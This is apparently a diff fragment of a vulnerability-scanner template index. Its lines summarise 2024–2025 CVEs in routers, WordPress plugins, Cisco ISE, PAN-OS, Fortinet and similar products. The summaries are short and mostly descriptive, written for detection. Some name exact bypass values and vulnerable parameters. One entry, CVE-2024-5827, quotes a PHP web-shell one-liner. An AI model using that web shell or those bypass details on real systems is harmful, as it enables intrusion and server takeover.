{"ID":"CVE-2024-57050","Info":{"Name":"TP-LINK WR840N v6 up to 0.9.1 4.16 - Improper Authentication","Severity":"critical","Description":"A vulnerability in the TP-Link WR840N v6 router with firmware version 0.9.1 4.16 and earlier permits unauthorized individuals to bypass the authentication of some interfaces under the /cgi directory.When adding Referer- http-//tplinkwifi.net to the the request, it will be recognized as passing the authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-57050.yaml"}
{"ID":"CVE-2024-57241","Info":{"Name":"DedeCMS - Open Redirect via download.php","Severity":"medium","Description":"Dedecms 5.71sp1 and earlier contain a URL redirect caused by a logic error that does not properly validate GET request input, letting attackers redirect users to arbitrary URLs, exploit requires sending crafted GET requests.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-57241.yaml"}
{"ID":"CVE-2024-57514","Info":{"Name":"TP-Link Archer A20 v3 Router - Cross-site Scripting","Severity":"medium","Description":"The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.\n","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2024/CVE-2024-57514.yaml"}
{"ID":"CVE-2024-5765","Info":{"Name":"WpStickyBar \u003c= 2.1.0 - SQL Injection","Severity":"high","Description":"The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5765.yaml"}
{"ID":"CVE-2024-57726","Info":{"Name":"SimpleHelp \u003c= 5.5.7 - Privilege Escalation","Severity":"critical","Description":"SimpleHelp remote support software v5.5.7 and before contains a privilege escalation caused by insufficient access controls in API key creation, letting low-privileges technicians escalate privileges to server admin, exploit requires low-privileges technician access.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2024/CVE-2024-57726.yaml"}
{"ID":"CVE-2024-57727","Info":{"Name":"SimpleHelp \u003c= 5.5.7 - Unauthenticated Path Traversal","Severity":"high","Description":"SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-57727.yaml"}
{"ID":"CVE-2024-58136","Info":{"Name":"Yii2 PHP Framework \u003c 2.0.52 - Remote Code Execution","Severity":"critical","Description":"Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-58136.yaml"}
{"ID":"CVE-2024-5827","Info":{"Name":"Vanna - SQL injection","Severity":"critical","Description":"Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `\u003c?php system($_GET[0]); ?\u003e`. This can lead to command execution or the creation of backdoors.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-5827.yaml"}
@@ -3522,6 +3522,7 @@
{"ID":"CVE-2025-0108","Info":{"Name":"PAN-OS Management Interface - Path Confusion to Authentication Bypass","Severity":"critical","Description":"A vulnerability in PAN-OS management interface allows authentication bypass through path confusion between Nginx and Apache handlers.The issue occurs due to differences in path processing between Nginx and Apache, where double URL encoding combined with directory traversal can bypass authentication checks enforced by X-pan-AuthCheck header.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-0108.yaml"}
{"ID":"CVE-2025-0133","Info":{"Name":"PAN-OS - Reflected Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the GlobalProtect™ gateway and portal features of Palo Alto Networks PAN-OS® software enables execution of malicious JavaScript in the context of an authenticated Captive Portal user's browser when they click on a specially crafted link.The primary risk is phishing attacks that can lead to credential theft—particularly if you enabled Clientless VPN.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-0133.yaml"}
{"ID":"CVE-2025-0282","Info":{"Name":"Ivanti Connect Secure - Stack-based Buffer Overflow","Severity":"critical","Description":"Ivanti Connect Secure \u003c 22.7R2.5, Ivanti Policy Secure \u003c 22.7R1.2, and Ivanti Neurons for ZTA gateways \u003c 22.7R2.3 contain a stack-based buffer overflow in the clientCapabilities parameter handling. This vulnerability allows remote unauthenticated attackers to execute arbitrary code through IF-T TLS requests.\n","Classification":{"CVSSScore":"9.0"}},"file_path":"http/cves/2025/CVE-2025-0282.yaml"}
{"ID":"CVE-2025-0520","Info":{"Name":"ShowDoc - Remote Code Execution","Severity":"critical","Description":"The open-source API documentation tool ShowDoc had a remote code execution vulnerability before version 2.8.7 This vulnerability allowed unauthenticated remote attackers to upload .php files because the image upload function was not authenticated and the file extension validation was improper.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-0520.yaml"}
{"ID":"CVE-2025-0674","Info":{"Name":"Elber ESE DVB-S/S2 - Authentication Bypass","Severity":"critical","Description":"Multiple Elber products are affected by an authentication bypass vulnerability which allows unauthorized access to the password management functionality. Attackers can exploit this issue by manipulating the endpoint to overwrite any user's password within the system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-0674.yaml"}
{"ID":"CVE-2025-0868","Info":{"Name":"DocsGPT - Unauthenticated Remote Code Execution","Severity":"critical","Description":"A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-0868.yaml"}
{"ID":"CVE-2025-10035","Info":{"Name":"GoAnywhere - Authentication Bypass","Severity":"critical","Description":"Fortra GoAnywhere MFT contains an insecure deserialization vulnerability in the License Servlet caused by deserializing attacker-controlled objects with a valid forged license response signature, letting attackers perform command injection, exploit requires valid forged license signature.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-10035.yaml"}
@@ -3546,6 +3547,7 @@
{"ID":"CVE-2025-11749","Info":{"Name":"WordPress AI Engine Plugin - Token Exposure","Severity":"critical","Description":"Unauthenticated sensitive information exposure in AI Engine WordPress plugin \u003c= 3.1.3 exposes bearer tokens via REST API endpoints when No-Auth URL is enabled.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-11749.yaml"}
{"ID":"CVE-2025-11750","Info":{"Name":"Dify - User Enumeration via \"Account not found\" Message","Severity":"medium","Description":"A user enumeration vulnerability exists in langgenius/dify, where the login API leaks information about whether a user account exists or not. When an invalid/non-existent email is used during login, the API returns a distinct error message such as \"account_not_found\" or \"Account not found.\", allowing attackers to identify valid accounts.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-11750.yaml"}
{"ID":"CVE-2025-11833","Info":{"Name":"Post SMTP \u003c= 3.6.0 - Email Log Disclosure","Severity":"critical","Description":"Post SMTP WordPress plugin \u003c= 3.6.0 contains an unauthorized data access vulnerability caused by missing capability check in __construct function, letting unauthenticated attackers read arbitrary logged emails, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-11833.yaml"}
{"ID":"CVE-2025-11953","Info":{"Name":"React Native Community CLI - Unauthenticated OS Command Injection","Severity":"critical","Description":"The Metro development server started by the React Native Community CLI binds to external network interfaces by default and exposes an unauthenticated /open-url endpoint. Affected versions pass the attacker supplied url value straight to the open() helper without validating the scheme, allowing an unauthenticated attacker to launch arbitrary executables on the developer machine. On Windows the request is dispatched through cmd, which permits arbitrary shell commands with fully controlled arguments. The fix was released as a backport across several release lines, so the version number alone does not indicate whether an instance is affected, and this template probes the endpoint behaviour instead.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-11953.yaml"}
{"ID":"CVE-2025-12055","Info":{"Name":"MPDV Mikrolab GmbH HYDRA X, MIP 2 \u0026 FEDRA 2 - Path Traversal","Severity":"high","Description":"MPDV Mikrolab GmbH HYDRA X, MIP 2, and FEDRA 2 \u003c= Maintenance Pack 36 with Servicepack 8 (week 36/2025) contain an unauthenticated local file disclosure vulnerability caused by improper validation of the \"Filename\" parameter in the public $SCHEMAS$ resource, letting attackers read arbitrary Windows OS files, exploit requires local access.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-12055.yaml"}
{"ID":"CVE-2025-12139","Info":{"Name":"Integrate Google Drive \u003c= 1.5.3 - Information Disclosure","Severity":"high","Description":"File Manager for Google Drive - Integrate Google Drive with WordPress plugin for WordPress \u003c= 1.5.3 contains sensitive information exposure caused by improper protection of the get_localize_data function, letting unauthenticated attackers extract Google OAuth credentials and account email addresses, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-12139.yaml"}
{"ID":"CVE-2025-1232","Info":{"Name":"Site Reviews \u003c 7.2.5 - Unauthenticated Stored XSS","Severity":"high","Description":"Site Reviews WordPress plugin before 7.2.5 contains a stored cross-site scripting caused by improper sanitization and escaping of review fields, letting unauthenticated users execute malicious scripts, exploit requires no authentication.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1232.yaml"}
@@ -3558,16 +3560,19 @@
{"ID":"CVE-2025-1323","Info":{"Name":"WP-Recall – Plugin \u003c= 16.26.10 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP-Recall – Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1323.yaml"}
{"ID":"CVE-2025-13315","Info":{"Name":"Twonky Server 8.5.2 on Linux and Windows - Log File Exposure","Severity":"critical","Description":"Twonky Server 8.5.2 contains a broken access control vulnerability caused by bypassing web service API authentication, letting unauthenticated attackers read log files with administrator credentials, exploit requires no authentication\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-13315.yaml"}
{"ID":"CVE-2025-13339","Info":{"Name":"Hippoo Mobile App for WooCommerce \u003c= 1.7.1 - Unauthenticated Arbitrary File Read","Severity":"high","Description":"The Hippoo Mobile App for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to and including 1.7.1 via the template_redirect() function. The plugin registers 'hippoo_serve' as a WordPress query variable and uses it to serve PWA files from the pwa/ directory. In vulnerable versions, the user-supplied value is concatenated directly into a filesystem path without any sanitization or directory confinement check, then passed to readfile(). This allows unauthenticated attackers to read arbitrary files on the server by injecting directory traversal sequences (../).\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-13339.yaml"}
{"ID":"CVE-2025-13342","Info":{"Name":"DynamiApps Frontend Admin \u003c= 3.28.20 - Unauthenticated Arbitrary Options Update","Severity":"critical","Description":"DynamiApps Frontend Admin plugin for WordPress \u003c.= 3.28.20 contains a broken access control vulnerability caused by insufficient capability checks and input validation in ActionOptions::run() save handler, letting unauthenticated attackers modify critical WordPress options via crafted form data.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-13342.yaml"}
{"ID":"CVE-2025-1338","Info":{"Name":"NUUO Camera \u003c=20250203 - OS Command Injection","Severity":"critical","Description":"NUUO Camera up to 20250203 contains a command injection caused by manipulation of the 'log' argument in /handle_config.php, letting remote attackers execute arbitrary commands, exploit requires remote access.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-1338.yaml"}
{"ID":"CVE-2025-13390","Info":{"Name":"WP Directory Kit \u003c= 1.4.4 - Authentication Bypass","Severity":"critical","Description":"The WP Directory Kit plugin for WordPress version 1.4.4 and below contains an authentication bypass vulnerability in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access by exploiting a cryptographically weak token generation mechanism that uses only the first 10 characters of MD5(user_id). For user_id=1 (typically admin), the token is always predictable.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-13390.yaml"}
{"ID":"CVE-2025-13418","Info":{"Name":"Responsive Pricing Table \u003c= 5.1.12 - Cross-Site Scripting","Severity":"medium","Description":"The Responsive Pricing Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'plan_icons' parameter in all versions up to, and including, 5.1.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute when an admin views the pricing table edit page.\n","Classification":{"CVSSScore":"6.4"}},"file_path":"http/cves/2025/CVE-2025-13418.yaml"}
{"ID":"CVE-2025-13486","Info":{"Name":"Advanced Custom Fields Extended \u003c 0.9.2 - Remote Code Execution","Severity":"critical","Description":"Advanced Custom Fields: Extended WordPress plugin 0.9.0.5 through 0.9.1.1 contains a remote code execution caused by unsafe use of call_user_func_array() in prepare_form() function, letting unauthenticated attackers execute arbitrary code remotely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-13486.yaml"}
{"ID":"CVE-2025-13528","Info":{"Name":"Feedback Modal for Website \u003c= 1.0.1 - Unauthenticated Feedback Export","Severity":"medium","Description":"The Feedback Modal for Website plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'handle_export' function in all versions up to, and including, 1.0.1. This makes it possible for unauthenticated attackers to export all feedback data in CSV or JSON format via the 'export_data' parameter.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-13528.yaml"}
{"ID":"CVE-2025-1361","Info":{"Name":"IP2Location Country Blocker \u003c 2.38.9 - Unauthenticated Information Disclosure","Severity":"high","Description":"IP2Location Country Blocker plugin for WordPress up to version 2.38.8 contains a regular information exposure caused by missing capability checks on admin_init(), letting unauthenticated attackers view plugin settings, exploit requires no special conditions.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1361.yaml"}
{"ID":"CVE-2025-13652","Info":{"Name":"WordPress CBX Bookmark \u0026 Favorite Plugin \u003c= 2.0.4 - SQL Injection","Severity":"critical","Description":"CBX Bookmark \u0026 Favorite WordPress plugin \u003c= 2.0.4 contains a SQL injection caused by insufficient escaping of the 'orderby' parameter, letting authenticated attackers with Subscriber-level access extract sensitive database information\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-13652.yaml"}
{"ID":"CVE-2025-13773","Info":{"Name":"WordPress Print Invoice \u0026 Delivery Notes for WooCommerce \u003c= 5.8.0 - Remote Code Execution","Severity":"critical","Description":"Print Invoice \u0026 Delivery Notes for WooCommerce plugin for WordPress \u003c= 5.8.0 contains a remote code execution caused by missing capability check, PHP enabled in Dompdf, and missing escape in template.php, letting unauthenticated attackers execute code on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-13773.yaml"}
{"ID":"CVE-2025-13801","Info":{"Name":"Yoco Payments \u003c= 3.8.8 - Path Traversal","Severity":"high","Description":"Yoco Payments WordPress plugin \u003c= 3.8.8 contains a path traversal caused by improper validation of the file parameter, letting unauthenticated attackers read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-13801.yaml"}
{"ID":"CVE-2025-13920","Info":{"Name":"WP Directory Kit \u003c 1.5.0 - Unauthenticated Email Exposure","Severity":"medium","Description":"WP Directory Kit plugin for WordPress \u003c= 1.4.9 contains a sensitive information exposure caused by improper access control in wdk_public_action AJAX handler, letting unauthenticated attackers extract email addresses of users with Directory Kit-specific roles.\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2025/CVE-2025-13920.yaml"}
{"ID":"CVE-2025-13956","Info":{"Name":"LearnPress \u003c 4.3.2 - Broken Access Control","Severity":"medium","Description":"The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the statistic function in all versions up to, and including, 4.3.1. This makes it possible for unauthenticated attackers to view the plugin's orders statistics, including total revenue summaries and order status counts.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-13956.yaml"}
{"ID":"CVE-2025-14047","Info":{"Name":"User Frontend \u003c= 4.2.4 - Missing Authorization to Unauthenticated Attachment Deletion","Severity":"medium","Description":"The WP User Frontend plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check in the Frontend_Form_Ajax::submit_post function.\nThis makes it possible for unauthenticated attackers to delete attachment records through the plugin's AJAX handling when a public frontend form is available.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-14047.yaml"}
{"ID":"CVE-2025-14124","Info":{"Name":"Team WordPress Plugin (TLP Team) \u003c= 5.0.9 - SQL Injection","Severity":"high","Description":"Team WordPress plugin \u003c= 5.0.11 contains a SQL injection caused by improper sanitization and escaping of a parameter in an AJAX action accessible to unauthenticated users, letting remote attackers execute arbitrary SQL commands.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-14124.yaml"}
{"ID":"CVE-2025-14155","Info":{"Name":"Premium Addons for Elementor - Unauthenticated Information Disclosure","Severity":"medium","Description":"Premium Addons for Elementor plugin for WordPress version 4.11.53 and below contains an unauthenticated information disclosure vulnerability.The vulnerability exists due to a missing authorization check in the get_template_content() AJAX handler, allowing unauthenticated attackers to retrieve private, draft, and pending Elementor templates that may contain sensitive information such as API keys, credentials, customer data,or unpublished content.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-14155.yaml"}
{"ID":"CVE-2025-14340","Info":{"Name":"Payara Server - Cross-Site Scripting","Severity":"high","Description":"Payara Server versions \u003c4.1.2.191.54, \u003c5.83.0, \u003c6.34.0, and \u003c7.2026.1 contain a stored XSS vulnerability caused by improper input sanitization in the REST Management Interface. This allows attackers to mislead administrators into changing the admin password via a URL payload; however, the exploit requires administrator interaction.\n","Classification":{"CVSSScore":"9.0"}},"file_path":"http/cves/2025/CVE-2025-14340.yaml"}
@@ -3575,6 +3580,8 @@
{"ID":"CVE-2025-14528","Info":{"Name":"D-Link DIR-803 - Authentication Bypass","Severity":"high","Description":"An authentication bypass vulnerability exists in D-Link DIR-803 routers (firmware A1 1.04 and earlier). By manipulating the AUTHORIZED_GROUP parameter in /getcfg.php via newline injection, an attacker can retrieve XML configuration containing administrator credentials without authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-14528.yaml"}
{"ID":"CVE-2025-14611","Info":{"Name":"Gladinet CentreStack \u0026 Triofox - Hardcoded Credentials","Severity":"critical","Description":"Gladinet CentreStack and Triofox \u003c 16.12.10420.56791 contain a hardcoded credentials vulnerability caused by use of hardcoded AES cryptoscheme values, letting attackers perform arbitrary local file inclusion without authentication, potentially leading to full system compromise.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-14611.yaml"}
{"ID":"CVE-2025-14726","Info":{"Name":"WordPress Widgets for Social Photo Feed \u003c= 1.8 - Information Disclosure","Severity":"medium","Description":"Widgets for Social Photo Feed WordPress plugin \u003c= 1.8 contains a broken access control caused by missing capability checks on specific REST API endpoints, letting unauthenticated attackers access and modify plugin settings remotely.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-14726.yaml"}
{"ID":"CVE-2025-14998","Info":{"Name":"Branda WordPress plugin - Privilege Escalation","Severity":"critical","Description":"Branda WordPress plugin \u003c= 3.4.24 contains a privilege escalation caused by improper user identity validation in password update functionality, letting unauthenticated attackers change arbitrary user passwords, including administrators, exploit requires crafted request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-14998.yaml"}
{"ID":"CVE-2025-15403","Info":{"Name":"RegistrationMagic \u003c= 6.0.7.1 - Privilege Escalation","Severity":"critical","Description":"RegistrationMagic WordPress plugin \u003c= 6.0.7.1 contains a privilege escalation caused by improper access control in 'add_menu' via 'rm_user_exists' AJAX action, letting unauthenticated attackers manipulate admin menu capabilities, exploit requires subscriber user for further escalation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-15403.yaml"}
{"ID":"CVE-2025-15503","Info":{"Name":"Sangfor OSM - Arbitrary File Upload","Severity":"critical","Description":"Sangfor Operation and Maintenance Management System \u003c= 3.0.8 contains an unrestricted file upload vulnerability caused by manipulation of the \\\"File\\\" argument in /fort/trust/version/common/common.jsp, letting remote attackers upload arbitrary files, exploit requires no special privileges.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-15503.yaml"}
{"ID":"CVE-2025-1562","Info":{"Name":"Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit - Broken Access Control","Severity":"critical","Description":"The Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the install_or_activate_addon_plugins() function and a weak nonce hash in all versions up to, and including, 3.5.3. This makes it possible for unauthenticated attackers to install arbitrary plugins on the site that can be leveraged to further infect a vulnerable site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1562.yaml"}
{"ID":"CVE-2025-1595","Info":{"Name":"EasyCVR \u003c=2.1.2 - Information Disclosure","Severity":"medium","Description":"A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1595.yaml"}
@@ -3585,6 +3592,7 @@
{"ID":"CVE-2025-2011","Info":{"Name":"Slider \u0026 Popup Builder by Depicter \u003c= 3.6.1 - Unauthenticated SQL Injection","Severity":"high","Description":"The Slider \u0026 Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2011.yaml"}
{"ID":"CVE-2025-20188","Info":{"Name":"Cisco IOS XE WLC - Arbitrary File Upload","Severity":"critical","Description":"A vulnerability in the Out-of-Band Access Point (AP) Image Download feature of Cisco IOS XE Software for Wireless LAN Controllers (WLCs) could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system.This vulnerability is due to the presence of a hard-coded JSON Web Token (JWT) on an affected system.An attacker could exploit this vulnerability by sending crafted HTTPS requests to the AP image download interface. A successful exploit could allow the attacker to upload files, perform path traversal, and execute arbitrary commands with root privileges.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-20188.yaml"}
{"ID":"CVE-2025-20281","Info":{"Name":"Cisco ISE - Remote Code Execution","Severity":"critical","Description":"A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-20281.yaml"}
{"ID":"CVE-2025-20282","Info":{"Name":"Cisco ISE \u003c 3.4P2 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Cisco ISE and Cisco ISE-PIC contain an unrestricted file upload vulnerability caused by lack of file validation in an internal API, letting unauthenticated remote attackers upload and execute files as root, exploit requires crafted file upload.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-20282.yaml"}
{"ID":"CVE-2025-20362","Info":{"Name":"Cisco Secure Firewall ASA \u0026 FTD - Authentication Bypass","Severity":"medium","Description":"A vulnerability in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to access restricted URL endpoints that are related to remote access VPN that should otherwise be inaccessible without authentication. This vulnerability is due to improper validation of user-supplied input in HTTP(S) requests.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-20362.yaml"}
{"ID":"CVE-2025-2075","Info":{"Name":"Uncanny Automator \u003c= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation","Severity":"high","Description":"The Uncanny Automator - Easy Automation, Integration, Webhooks \u0026 Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to add_role() and user_role() functions missing proper capability checks performed through the validate_rest_call() function. This makes it possible for unauthenticated attackers to set the role of arbitrary users to administrator granting full access to the site, though privilege escalation requires an active account on the site so this is considered an authenticated privilege escalation.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-2075.yaml"}
{"ID":"CVE-2025-2127","Info":{"Name":"JoomlaUX JUX Real Estate 3.4.0 - Reflected XSS","Severity":"medium","Description":"A vulnerability was found in JoomlaUX JUX Real Estate 3.4.0 on Joomla. It has been classified as problematic. Affected is an unknown function of the file /extensions/realestate/index.php/properties/list/list-with-sidebar/realties. The manipulation of the argument Itemid/jp_yearbuilt leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2025/CVE-2025-2127.yaml"}
@@ -3609,6 +3617,7 @@
{"ID":"CVE-2025-24963","Info":{"Name":"Vitest Browser Mode - Local File Read","Severity":"medium","Description":"Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-24963.yaml"}
{"ID":"CVE-2025-25034","Info":{"Name":"SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection","Severity":"critical","Description":"A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-25034.yaml"}
{"ID":"CVE-2025-25037","Info":{"Name":"Aquatronica Controller System \u003c= 5.1.6 - Information Disclosure","Severity":"high","Description":"Aquatronica Controller System firmware 5.1.6 and earlier and web interface 2.0 and earlier contain an information disclosure vulnerability caused by unauthenticated access to tcp.php endpoint, letting remote attackers retrieve sensitive configuration data including plaintext credentials, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-25037.yaml"}
{"ID":"CVE-2025-2505","Info":{"Name":"WordPress Age Gate \u003c= 3.5.3 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The Age Gate plugin for WordPress up to version 3.5.3 contains a local PHP file inclusion caused by the 'lang' parameter, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2505.yaml"}
{"ID":"CVE-2025-25231","Info":{"Name":"Omnissa Workspace ONE UEM - Path Traversal","Severity":"high","Description":"Omnissa Workspace ONE UEM contains a path traversal caused by crafted GET requests to restricted API endpoints, letting malicious actors access sensitive information, exploit requires sending crafted requests.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-25231.yaml"}
{"ID":"CVE-2025-25257","Info":{"Name":"Fortinet FortiWeb - SQL Injection","Severity":"critical","Description":"An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-25257.yaml"}
